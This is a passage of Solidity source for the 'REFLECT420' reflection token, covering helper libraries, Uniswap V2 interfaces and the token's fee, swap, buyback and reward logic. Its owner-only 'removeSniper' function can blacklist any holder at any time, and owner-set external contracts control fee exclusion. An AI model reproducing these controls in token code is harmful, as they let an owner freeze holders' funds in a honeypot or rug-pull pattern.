function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IConditional {
function passesTest(address wallet) external view returns (bool);
}
contract REFLECT420 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public treasuryWallet =
payable(0x13430DF607982617D6198c77CE74FdEeAd2901f2);
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6;
mapping(address => uint256) private _rewardsLastClaim;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'REFLECT420';
string private constant _symbol = 'REFLECT420';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public reflectionFee = 0;
uint256 private _previousReflectFee = reflectionFee;
uint256 public treasuryFee = 6;
uint256 private _previousTreasuryFee = treasuryFee;
uint256 public ethRewardsFee = 4;
uint256 private _previousETHRewardsFee = ethRewardsFee;
uint256 public ethRewardsBalance;
uint256 public buybackFee = 1;
uint256 private _previousBuybackFee = buybackFee;
address public buybackTokenAddress = 0x23464fb65ff1a8e7a9a1318Dfa56185a4950cF8B;
address public buybackReceiver = address(this);
uint256 public feeSellMultiplier = 2;
uint256 public feeRate = 10;
uint256 public launchTime;
uint256 public boostRewardsPercent = 50;
address public boostRewardsContract;
address public feeExclusionContract;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
address private constant _uniswapRouterAddress =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private _inSwapAndLiquify;
bool private _isSelling;
bool private _tradingOpen = false;
bool private _isMaxBuyActivated = true;
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(3).div(100);
uint256 public _maximumBuyAmount = _tTotal.mul(20).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxWalletSizeUpdated(uint256 _maxWalletSize);
event SendETHRewards(address to, uint256 amountETH);
event SendTokenRewards(address to, address token, uint256 amount);
event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_isExcludedFee[treasuryWallet] = true;
}
function openTrading() external onlyOwner {
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
reflectionFee = _previousReflectFee;
buybackFee = _previousBuybackFee;
_tradingOpen = true;
launchTime = block.timestamp;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function MaxTXAmount() external view returns (uint256) {
return _maxTxAmount;
}
function MaxWalletSize() external view returns (uint256) {
return _maxWalletSize;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcludedReward[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
'ERC20: transfer amount exceeds allowance'
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
'ERC20: decreased allowance below zero'
)
);
return true;
}
function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{
require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%");
require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%");
_maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{
require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%");
require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%");
_maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000);
emit MaxWalletSizeUpdated(_maxWalletSize);
}
function getLastETHRewardsClaim(address wallet)
external
view
returns (uint256)
{
return _rewardsLastClaim[wallet];
}
function totalFees() external view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) external {
address sender = _msgSender();
require(
!_isExcludedReward[sender],
'Excluded addresses cannot call this function'
);
(uint256 rAmount, , , , , ) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
external
view
returns (uint256)
{
require(tAmount <= _tTotal, 'Amount must be less than supply');
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(address(0), tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns (uint256) {
require(rAmount <= _rTotal, 'Amount must be less than total reflections');
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) external onlyOwner {
require(!_isExcludedReward[account], 'Account is already excluded');
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcludedReward[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcludedReward[account], 'Account is already included');
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcludedReward[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), 'ERC20: transfer from the zero address');
require(to != address(0), 'ERC20: transfer to the zero address');
require(amount > 0, 'Transfer amount must be greater than zero');
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (
(to == uniswapV2Pair || _isUniswapPair[to]) &&
from != address(uniswapV2Router) &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
if (
to != uniswapV2Pair &&
!_isUniswapPair[to] &&
!isExcludedFromFee(to) &&
!isExcludedFromFee(from)
) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (_isMaxBuyActivated) {
if (block.timestamp <= launchTime + 30 minutes) {
require(amount <= _maximumBuyAmount, "Amount too much");
}
}
}
_rewardsLastClaim[to] = block.timestamp;
bool excludedFromFee = false;
if (
(from == uniswapV2Pair || _isUniswapPair[from]) &&
to != address(uniswapV2Router)
) {
if (!isExcludedFromFee(to)) {
require(_tradingOpen, 'Trading not yet enabled.');
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
_rewardsLastClaim[from] = block.timestamp;
} else {
excludedFromFee = true;
}
}
if (
!_inSwapAndLiquify &&
_tradingOpen &&
(to == uniswapV2Pair || _isUniswapPair[to])
) {
uint256 _contractTokenBalance = balanceOf(address(this));
if (_contractTokenBalance > 0) {
if (
_contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100)
) {
_contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div(
100
);
}
_swapTokens(_contractTokenBalance);
}
_rewardsLastClaim[from] = block.timestamp;
_isSelling = true;
excludedFromFee = isExcludedFromFee(from);
}
bool takeFee = false;
if (
(from == uniswapV2Pair ||
to == uniswapV2Pair ||
_isUniswapPair[to] ||
_isUniswapPair[from]) && !excludedFromFee
) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee);
_isSelling = false;
}
function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap {
uint256 ethBalanceBefore = address(this).balance;
_swapTokensForEth(_contractTokenBalance);
uint256 ethBalanceAfter = address(this).balance;
uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore);
uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0));
ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div(
_liquidityFeeTotal
);
uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div(
_liquidityFeeTotal
);
if (treasuryETHBalance > 0) {
_sendETHToTreasury(treasuryETHBalance);
}
uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div(
_liquidityFeeTotal
);
if (buybackETHBalance > 0) {
_buyBackTokens(buybackETHBalance);
}
}
function _sendETHToTreasury(uint256 amount) private {
treasuryWallet.call{ value: amount }('');
}
function _buyBackTokens(uint256 amount) private {
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = buybackTokenAddress;
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
buybackReceiver,
block.timestamp
);
emit SwapETHForTokens(buybackReceiver, amount, path);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) _removeAllFee();
if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) _restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(sender, tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(
seller,
tAmount
);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(address seller, uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = _calculateReflectFee(tAmount);
uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply)
return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcludedReward[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _calculateReflectFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(reflectionFee).div(10**2);
}
function _liquidityFeeAggregate(address seller)
private
view
returns (uint256)
{
uint256 feeMultiplier = _isSelling && !canClaimRewards(seller)
? feeSellMultiplier
: 1;
return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier);
}
function _calculateLiquidityFee(address seller, uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2);
}
function _removeAllFee() private {
if (
reflectionFee == 0 &&
treasuryFee == 0 &&
ethRewardsFee == 0 &&
buybackFee == 0
) return;
_previousReflectFee = reflectionFee;
_previousTreasuryFee = treasuryFee;
_previousETHRewardsFee = ethRewardsFee;
_previousBuybackFee = buybackFee;
reflectionFee = 0;
treasuryFee = 0;
ethRewardsFee = 0;
buybackFee = 0;
}
function _restoreAllFee() private {
reflectionFee = _previousReflectFee;
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
buybackFee = _previousBuybackFee;
}
function getSellSlippage(address seller) external view returns (uint256) {
uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee);
return
isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller)
? feeAgg.mul(feeSellMultiplier)
: feeAgg;
}
function isUniswapPair(address _pair) external view returns (bool) {
if (_pair == uniswapV2Pair) return true;
return _isUniswapPair[_pair];
}
function eligibleForRewardBooster(address wallet) public view returns (bool) {
return
boostRewardsContract != address(0) &&
IConditional(boostRewardsContract).passesTest(wallet);
}
function isExcludedFromFee(address account) public view returns (bool) {
return
_isExcludedFee[account] ||
(feeExclusionContract != address(0) &&
IConditional(feeExclusionContract).passesTest(account));
}
function isExcludedFromReward(address account) external view returns (bool) {
return _isExcludedReward[account];
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFee[account] = false;
}
function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner {
require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days');
rewardsClaimTimeSeconds = _seconds;
}
function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner {
require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%');
reflectionFee = _reflectionNewFee;
treasuryFee = _treasuryNewFee;
ethRewardsFee = _ethRewardsNewFee;
buybackFee = _buybackRewardsNewFee;
}
function setFeeSellMultiplier(uint256 multiplier) external onlyOwner {
require(multiplier <= 2, 'must be less than or equal to 2');
feeSellMultiplier = multiplier;
}
function setTreasuryAddress(address _treasuryWallet) external onlyOwner {
treasuryWallet = payable(_treasuryWallet);
_isExcludedFee[treasuryWallet] = true;
}
function setIsMaxBuyActivated(bool _value) public onlyOwner {
_isMaxBuyActivated = _value;
}
function setBuybackTokenAddress(address _tokenAddress) external onlyOwner {
buybackTokenAddress = _tokenAddress;
}
function setBuybackReceiver(address _receiver) external onlyOwner {
buybackReceiver = _receiver;
}
function addUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = true;
}
function removeUniswapPair(address _pair) external onlyOwner {
_isUniswapPair[_pair] = false;
}
function setBoostRewardsPercent(uint256 perc) external onlyOwner {
boostRewardsPercent = perc;
}
function setBoostRewardsContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
boostRewardsContract = _contract;
}
function setFeeExclusionContract(address _contract) external onlyOwner {
if (_contract != address(0)) {
IConditional _contCheck = IConditional(_contract);
require(
_contCheck.passesTest(address(0)) == true ||
_contCheck.passesTest(address(0)) == false,
'contract does not implement interface'
);
}
feeExclusionContract = _contract;
}
function isRemovedSniper(address account) external view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner {
require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap');
require(!_isSniper[account], 'Account is already blacklisted');
_isSniper[account] = true;
_confirmedSnipers.push(account);
}
function amnestySniper(address account) external onlyOwner {
require(_isSniper[account], 'Account is not blacklisted');
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function calculateETHRewards(address wallet) public view returns (uint256) {
uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster;
}
function calculateTokenRewards(address wallet, address tokenAddress)
public
view
returns (uint256)
{
IERC20 token = IERC20(tokenAddress);
uint256 contractTokenBalance = token.balanceOf(address(this));
uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div(
_tTotal.sub(balanceOf(deadAddress))
);
uint256 rewardsWithBooster = eligibleForRewardBooster(wallet)
? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2))
: baseRewards;
return
rewardsWithBooster > contractTokenBalance
? baseRewards
: rewardsWithBooster;
}
function claimETHRewards() external {
require(
